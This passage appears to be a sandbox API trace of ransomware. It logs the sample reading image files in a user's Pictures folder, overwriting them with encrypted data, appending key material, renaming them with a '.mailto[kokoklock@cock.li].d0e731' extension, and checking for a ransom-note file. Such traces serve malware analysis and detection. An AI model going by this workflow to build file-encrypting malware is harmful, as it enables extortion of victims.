[0065.894] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0065.894] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be898*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xfa3fb58, lpOverlapped=0x0 | out: lpBuffer=0x34be898*, lpNumberOfBytesWritten=0xfa3fb58*=0x8, lpOverlapped=0x0) returned 1 [0065.894] WriteFile (in: hFile=0x7c8, lpBuffer=0xfa3fb70*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xfa3fb58, lpOverlapped=0x0 | out: lpBuffer=0xfa3fb70*, lpNumberOfBytesWritten=0xfa3fb58*=0x4, lpOverlapped=0x0) returned 1 [0065.894] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xfa3fb58, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xfa3fb58*=0x4, lpOverlapped=0x0) returned 1 [0065.894] WriteFile (in: hFile=0x7c8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xfa3fb58, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xfa3fb58*=0x6c, lpOverlapped=0x0) returned 1 [0065.894] WriteFile (in: hFile=0x7c8, lpBuffer=0x34bea00*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xfa3fb58, lpOverlapped=0x0 | out: lpBuffer=0x34bea00*, lpNumberOfBytesWritten=0xfa3fb58*=0x20, lpOverlapped=0x0) returned 1 [0065.894] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xfa3fb58, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xfa3fb58*=0x4, lpOverlapped=0x0) returned 1 [0065.894] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34bea00) returned 1 [0065.894] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be910) returned 1 [0065.894] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be898) returned 1 [0065.894] CloseHandle (hObject=0x7c8) returned 1 [0065.896] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9c) returned 0x33e67c8 [0065.896] wcscpy (in: _Dest=0x33e67c8, _Source="C:\\Users\\FD1HVy\\Pictures\\JU6O1UFyFQyHFg1.bmp" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\JU6O1UFyFQyHFg1.bmp") returned="C:\\Users\\FD1HVy\\Pictures\\JU6O1UFyFQyHFg1.bmp" [0065.896] wcscat (in: _Dest=0x33e67c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\JU6O1UFyFQyHFg1.bmp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\JU6O1UFyFQyHFg1.bmp.mailto[kokoklock@cock.li].d0e731" [0065.896] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\JU6O1UFyFQyHFg1.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\ju6o1ufyfqyhfg1.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\JU6O1UFyFQyHFg1.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\ju6o1ufyfqyhfg1.bmp.mailto[kokoklock@cock.li].d0e731")) returned 1 [0065.896] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\JU6O1UFyFQyHFg1.bmp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0065.897] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e67c8) returned 1 [0065.897] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\JU6O1UFyFQyHFg1.bmp", dwFileAttributes=0x20) returned 0 [0065.897] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x3482038 [0065.897] wcscpy (in: _Dest=0x3482038, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0065.897] wcscat (in: _Dest=0x3482038, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0065.897] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0065.897] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482038) returned 1 [0065.897] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427340) returned 1 [0065.897] RtlExitUserThread (Status=0x1) Thread: id = 345 os_tid = 0x13dc [0065.898] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\lSyelTg7.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\lsyeltg7.bmp")) returned 0x20 [0065.898] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\lSyelTg7.bmp", dwFileAttributes=0x20) returned 1 [0065.898] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\lSyelTg7.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\lsyeltg7.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c8 [0065.898] GetFileSizeEx (in: hFile=0x7c8, lpFileSize=0xfabfb10 | out: lpFileSize=0xfabfb10*=76048) returned 1 [0065.899] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x1290c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.899] ReadFile (in: hFile=0x7c8, lpBuffer=0xfabfae4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xfabfae0, lpOverlapped=0x0 | out: lpBuffer=0xfabfae4*, lpNumberOfBytesRead=0xfabfae0*=0x4, lpOverlapped=0x0) returned 1 [0065.899] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.899] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be910 [0065.899] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34bea00 [0065.899] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be848 [0065.899] NtQuerySystemTime (in: CurrentTime=0xfabfabc | out: CurrentTime=0xfabfabc*=132121176237996640) returned 0x0 [0065.899] RtlRandom (in: Seed=0xfabfac8 | out: Seed=0xfabfac8) returned 0x9c24a83f [0065.899] RtlRandom (in: Seed=0xfabfac8 | out: Seed=0xfabfac8) returned 0x42c88585 [0065.899] RtlRandom (in: Seed=0xfabfac8 | out: Seed=0xfabfac8) returned 0x6cb9e9df [0065.899] RtlRandom (in: Seed=0xfabfac8 | out: Seed=0xfabfac8) returned 0xdcbea0d1 [0065.899] RtlRandom (in: Seed=0xfabfac8 | out: Seed=0xfabfac8) returned 0x6b5d7c73 [0065.899] RtlRandom (in: Seed=0xfabfac8 | out: Seed=0xfabfac8) returned 0x60c007d8 [0065.899] RtlRandom (in: Seed=0xfabfac8 | out: Seed=0xfabfac8) returned 0x8ce85779 [0065.899] RtlRandom (in: Seed=0xfabfac8 | out: Seed=0xfabfac8) returned 0xcc3e0ff9 [0065.899] RtlRandom (in: Seed=0xfabfac8 | out: Seed=0xfabfac8) returned 0xe383471c [0065.899] RtlRandom (in: Seed=0xfabfac8 | out: Seed=0xfabfac8) returned 0xff1443a6 [0065.899] RtlRandom (in: Seed=0xfabfac8 | out: Seed=0xfabfac8) returned 0x56ce6922 [0065.899] RtlRandom (in: Seed=0xfabfac8 | out: Seed=0xfabfac8) returned 0x33da0bd6 [0065.899] RtlRandom (in: Seed=0xfabfac8 | out: Seed=0xfabfac8) returned 0xb3241367 [0065.899] RtlRandom (in: Seed=0xfabfac8 | out: Seed=0xfabfac8) returned 0x5927cafb [0065.899] RtlRandom (in: Seed=0xfabfac8 | out: Seed=0xfabfac8) returned 0x1a4fa3e9 [0065.899] RtlRandom (in: Seed=0xfabfac8 | out: Seed=0xfabfac8) returned 0x97a343d5 [0065.899] RtlRandom (in: Seed=0xfabfac8 | out: Seed=0xfabfac8) returned 0x54b29449 [0065.900] RtlRandom (in: Seed=0xfabfac8 | out: Seed=0xfabfac8) returned 0x46b28d21 [0065.900] RtlRandom (in: Seed=0xfabfac8 | out: Seed=0xfabfac8) returned 0x321dac8f [0065.900] RtlRandom (in: Seed=0xfabfac8 | out: Seed=0xfabfac8) returned 0x1a6e7713 [0065.900] RtlRandom (in: Seed=0xfabfac8 | out: Seed=0xfabfac8) returned 0xd071b871 [0065.900] RtlRandom (in: Seed=0xfabfac8 | out: Seed=0xfabfac8) returned 0x7021950e [0065.900] RtlRandom (in: Seed=0xfabfac8 | out: Seed=0xfabfac8) returned 0xf07a8a46 [0065.900] RtlRandom (in: Seed=0xfabfac8 | out: Seed=0xfabfac8) returned 0x5a8d16ce [0065.900] RtlRandom (in: Seed=0xfabfac8 | out: Seed=0xfabfac8) returned 0xe1284f9b [0065.900] RtlRandom (in: Seed=0xfabfac8 | out: Seed=0xfabfac8) returned 0x82f3b603 [0065.900] RtlRandom (in: Seed=0xfabfac8 | out: Seed=0xfabfac8) returned 0xde46556a [0065.900] RtlRandom (in: Seed=0xfabfac8 | out: Seed=0xfabfac8) returned 0x5a97e4f7 [0065.900] RtlRandom (in: Seed=0xfabfac8 | out: Seed=0xfabfac8) returned 0xbe87e905 [0065.900] RtlRandom (in: Seed=0xfabfac8 | out: Seed=0xfabfac8) returned 0x3d21a7a1 [0065.900] RtlRandom (in: Seed=0xfabfac8 | out: Seed=0xfabfac8) returned 0x8f11d7ef [0065.900] RtlRandom (in: Seed=0xfabfac8 | out: Seed=0xfabfac8) returned 0xb95baf74 [0065.915] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.915] ReadFile (in: hFile=0x7c8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xfabfa94, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xfabfa94*=0x4096, lpOverlapped=0x0) returned 1 [0065.915] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.915] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0065.915] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347a000 [0065.916] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be870 [0065.916] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be870) returned 1 [0065.916] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b0048 [0065.916] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be870 [0065.916] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be960 [0065.916] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be960) returned 1 [0065.916] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0065.916] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0065.916] WriteFile (in: hFile=0x7c8, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xfabfa94, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0xfabfa94*=0x4096, lpOverlapped=0x0) returned 1 [0065.916] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0065.917] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x12910, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.917] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be870*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xfabfacc, lpOverlapped=0x0 | out: lpBuffer=0x34be870*, lpNumberOfBytesWritten=0xfabfacc*=0x20, lpOverlapped=0x0) returned 1 [0065.917] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be870) returned 1 [0065.917] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0065.917] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be8c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xfabfae0, lpOverlapped=0x0 | out: lpBuffer=0x34be8c0*, lpNumberOfBytesWritten=0xfabfae0*=0x8, lpOverlapped=0x0) returned 1 [0065.917] WriteFile (in: hFile=0x7c8, lpBuffer=0xfabfaf8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xfabfae0, lpOverlapped=0x0 | out: lpBuffer=0xfabfaf8*, lpNumberOfBytesWritten=0xfabfae0*=0x4, lpOverlapped=0x0) returned 1 [0065.917] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xfabfae0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xfabfae0*=0x4, lpOverlapped=0x0) returned 1 [0065.917] WriteFile (in: hFile=0x7c8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xfabfae0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xfabfae0*=0x6c, lpOverlapped=0x0) returned 1 [0065.917] WriteFile (in: hFile=0x7c8, lpBuffer=0x34bea00*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xfabfae0, lpOverlapped=0x0 | out: lpBuffer=0x34bea00*, lpNumberOfBytesWritten=0xfabfae0*=0x20, lpOverlapped=0x0) returned 1 [0065.917] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xfabfae0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xfabfae0*=0x4, lpOverlapped=0x0) returned 1 [0065.917] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34bea00) returned 1 [0065.917] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be938) returned 1 [0065.917] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be8c0) returned 1 [0065.917] CloseHandle (hObject=0x7c8) returned 1 [0065.919] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8e) returned 0x3486220 [0065.919] wcscpy (in: _Dest=0x3486220, _Source="C:\\Users\\FD1HVy\\Pictures\\lSyelTg7.bmp" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\lSyelTg7.bmp") returned="C:\\Users\\FD1HVy\\Pictures\\lSyelTg7.bmp" [0065.920] wcscat (in: _Dest=0x3486220, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\lSyelTg7.bmp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\lSyelTg7.bmp.mailto[kokoklock@cock.li].d0e731" [0065.920] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\lSyelTg7.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\lsyeltg7.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\lSyelTg7.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\lsyeltg7.bmp.mailto[kokoklock@cock.li].d0e731")) returned 1 [0065.920] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\lSyelTg7.bmp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0065.920] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0065.921] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\lSyelTg7.bmp", dwFileAttributes=0x20) returned 0 [0065.921] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x3482038 [0065.921] wcscpy (in: _Dest=0x3482038, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0065.921] wcscat (in: _Dest=0x3482038, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0065.921] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0065.921] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482038) returned 1 [0065.921] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431200) returned 1 [0065.921] RtlExitUserThread (Status=0x1) Thread: id = 346 os_tid = 0x13e0 [0065.922] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\mY4vxcd0R8j6I-At bpl.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\my4vxcd0r8j6i-at bpl.jpg")) returned 0x20 [0065.922] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\mY4vxcd0R8j6I-At bpl.jpg", dwFileAttributes=0x20) returned 1 [0065.922] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\mY4vxcd0R8j6I-At bpl.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\my4vxcd0r8j6i-at bpl.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c8 [0065.922] GetFileSizeEx (in: hFile=0x7c8, lpFileSize=0xfb3fb68 | out: lpFileSize=0xfb3fb68*=83081) returned 1 [0065.922] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x14485, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.922] ReadFile (in: hFile=0x7c8, lpBuffer=0xfb3fb3c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xfb3fb38, lpOverlapped=0x0 | out: lpBuffer=0xfb3fb3c*, lpNumberOfBytesRead=0xfb3fb38*=0x4, lpOverlapped=0x0) returned 1 [0065.923] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.923] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be938 [0065.923] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be870 [0065.923] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34bea00 [0065.923] NtQuerySystemTime (in: CurrentTime=0xfb3fb14 | out: CurrentTime=0xfb3fb14*=132121176238153151) returned 0x0 [0065.923] RtlRandom (in: Seed=0xfb3fb20 | out: Seed=0xfb3fb20) returned 0xac40dae7 [0065.923] RtlRandom (in: Seed=0xfb3fb20 | out: Seed=0xfb3fb20) returned 0xed5a0cc [0065.923] RtlRandom (in: Seed=0xfb3fb20 | out: Seed=0xfb3fb20) returned 0x9281271d [0065.923] RtlRandom (in: Seed=0xfb3fb20 | out: Seed=0xfb3fb20) returned 0xfa42bf41 [0065.923] RtlRandom (in: Seed=0xfb3fb20 | out: Seed=0xfb3fb20) returned 0x9a63c4fa [0065.923] RtlRandom (in: Seed=0xfb3fb20 | out: Seed=0xfb3fb20) returned 0x2e8418fa [0065.923] RtlRandom (in: Seed=0xfb3fb20 | out: Seed=0xfb3fb20) returned 0xcb877ec5 [0065.923] RtlRandom (in: Seed=0xfb3fb20 | out: Seed=0xfb3fb20) returned 0xb383ca08 [0065.923] RtlRandom (in: Seed=0xfb3fb20 | out: Seed=0xfb3fb20) returned 0x16ce9c74 [0065.923] RtlRandom (in: Seed=0xfb3fb20 | out: Seed=0xfb3fb20) returned 0x5907a15 [0065.923] RtlRandom (in: Seed=0xfb3fb20 | out: Seed=0xfb3fb20) returned 0xf41434d [0065.923] RtlRandom (in: Seed=0xfb3fb20 | out: Seed=0xfb3fb20) returned 0xe078b9c7 [0065.923] RtlRandom (in: Seed=0xfb3fb20 | out: Seed=0xfb3fb20) returned 0x4400f1b6 [0065.923] RtlRandom (in: Seed=0xfb3fb20 | out: Seed=0xfb3fb20) returned 0xf96f9e30 [0065.923] RtlRandom (in: Seed=0xfb3fb20 | out: Seed=0xfb3fb20) returned 0x2191c34f [0065.923] RtlRandom (in: Seed=0xfb3fb20 | out: Seed=0xfb3fb20) returned 0xd5b6515c [0065.923] RtlRandom (in: Seed=0xfb3fb20 | out: Seed=0xfb3fb20) returned 0x830835cf [0065.923] RtlRandom (in: Seed=0xfb3fb20 | out: Seed=0xfb3fb20) returned 0x4f1d1e3c [0065.923] RtlRandom (in: Seed=0xfb3fb20 | out: Seed=0xfb3fb20) returned 0x6a5646fc [0065.923] RtlRandom (in: Seed=0xfb3fb20 | out: Seed=0xfb3fb20) returned 0xb5f33e95 [0065.923] RtlRandom (in: Seed=0xfb3fb20 | out: Seed=0xfb3fb20) returned 0x497970bd [0065.923] RtlRandom (in: Seed=0xfb3fb20 | out: Seed=0xfb3fb20) returned 0x33759751 [0065.923] RtlRandom (in: Seed=0xfb3fb20 | out: Seed=0xfb3fb20) returned 0x2d6bfaed [0065.923] RtlRandom (in: Seed=0xfb3fb20 | out: Seed=0xfb3fb20) returned 0x5438cf6a [0065.923] RtlRandom (in: Seed=0xfb3fb20 | out: Seed=0xfb3fb20) returned 0x8ce493b9 [0065.923] RtlRandom (in: Seed=0xfb3fb20 | out: Seed=0xfb3fb20) returned 0x77a21535 [0065.924] RtlRandom (in: Seed=0xfb3fb20 | out: Seed=0xfb3fb20) returned 0xb84fe069 [0065.924] RtlRandom (in: Seed=0xfb3fb20 | out: Seed=0xfb3fb20) returned 0xf1d48044 [0065.924] RtlRandom (in: Seed=0xfb3fb20 | out: Seed=0xfb3fb20) returned 0xa4b57ffd [0065.924] RtlRandom (in: Seed=0xfb3fb20 | out: Seed=0xfb3fb20) returned 0x4850ec66 [0065.924] RtlRandom (in: Seed=0xfb3fb20 | out: Seed=0xfb3fb20) returned 0xdc3ee571 [0065.924] RtlRandom (in: Seed=0xfb3fb20 | out: Seed=0xfb3fb20) returned 0x64394ac1 [0065.934] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.934] ReadFile (in: hFile=0x7c8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xfb3faec, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xfb3faec*=0x4096, lpOverlapped=0x0) returned 1 [0065.934] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.934] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0065.934] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347a000 [0065.934] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be898 [0065.934] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be898) returned 1 [0065.935] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b0048 [0065.935] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be898 [0065.935] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be8c0 [0065.935] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be8c0) returned 1 [0065.935] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0065.935] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0065.935] WriteFile (in: hFile=0x7c8, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xfb3faec, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0xfb3faec*=0x4096, lpOverlapped=0x0) returned 1 [0065.935] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0065.935] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x14489, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.935] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be898*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xfb3fb24, lpOverlapped=0x0 | out: lpBuffer=0x34be898*, lpNumberOfBytesWritten=0xfb3fb24*=0x20, lpOverlapped=0x0) returned 1 [0065.936] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be898) returned 1 [0065.936] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0065.936] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be8e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xfb3fb38, lpOverlapped=0x0 | out: lpBuffer=0x34be8e8*, lpNumberOfBytesWritten=0xfb3fb38*=0x8, lpOverlapped=0x0) returned 1 [0065.936] WriteFile (in: hFile=0x7c8, lpBuffer=0xfb3fb50*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xfb3fb38, lpOverlapped=0x0 | out: lpBuffer=0xfb3fb50*, lpNumberOfBytesWritten=0xfb3fb38*=0x4, lpOverlapped=0x0) returned 1 [0065.936] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xfb3fb38, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xfb3fb38*=0x4, lpOverlapped=0x0) returned 1 [0065.936] WriteFile (in: hFile=0x7c8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xfb3fb38, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xfb3fb38*=0x6c, lpOverlapped=0x0) returned 1 [0065.936] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be870*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xfb3fb38, lpOverlapped=0x0 | out: lpBuffer=0x34be870*, lpNumberOfBytesWritten=0xfb3fb38*=0x20, lpOverlapped=0x0) returned 1 [0065.936] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xfb3fb38, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xfb3fb38*=0x4, lpOverlapped=0x0) returned 1 [0065.936] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be870) returned 1 [0065.936] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be960) returned 1 [0065.936] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be8e8) returned 1 [0065.936] CloseHandle (hObject=0x7c8) returned 1 [0065.939] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa6) returned 0x33ce718 [0065.939] wcscpy (in: _Dest=0x33ce718, _Source="C:\\Users\\FD1HVy\\Pictures\\mY4vxcd0R8j6I-At bpl.jpg" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\mY4vxcd0R8j6I-At bpl.jpg") returned="C:\\Users\\FD1HVy\\Pictures\\mY4vxcd0R8j6I-At bpl.jpg" [0065.939] wcscat (in: _Dest=0x33ce718, _Source=".mailto[kokoklock@cock.li].d0e731" | out: 